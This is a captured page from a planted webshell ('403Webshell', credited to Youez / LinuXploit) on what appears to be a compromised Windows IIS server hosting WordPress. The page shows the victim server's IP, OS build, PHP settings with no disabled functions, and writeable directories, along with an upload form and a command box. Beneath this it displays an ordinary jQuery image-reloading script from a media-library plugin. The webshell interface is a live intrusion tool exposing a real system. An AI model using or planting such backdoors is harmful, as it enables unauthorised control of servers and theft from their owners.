403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/KnowledgeBase/wp-content/plugins/media-library-plus/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/KnowledgeBase/wp-content/plugins/media-library-plus/js//mlfp-lpf.js
jQuery(document).ready(function(){
  console.log('mlfp-lpf');
        var image_index = 1;
        jQuery("img").each(function () {
          var element = jQuery(this);
          var src = jQuery(this).attr('src');
          console.log('src',src);
          var clone = jQuery(this).clone();        

          jQuery.ajax({
            url:src,
            type:'GET',
            async: false,
            error:function(response){
              console.log('error src', src);            
              var image_id = 'image' + image_index;
              jQuery(clone).attr('id', image_id);
              jQuery(clone).attr('src', '');
              // replace with new element in order to load the image
              jQuery(element).replaceWith(clone);

              jQuery.ajax({
                type: "POST",
                async: false,
                data: { action: "mlfp_load_image", src: src, nonce: lpf_ajax.nonce },
                url: lpf_ajax.ajaxurl,
                success: function (data) {
                  if(data.length > 0)
                    jQuery('#'+image_id).attr("src", data);
                },
                error: function (err){
                  alert(err.responseText);
                }
              });
            }
          });
          image_index++;
        });  
});        

Youez - 2016 - github.com/yon3zu
LinuXploit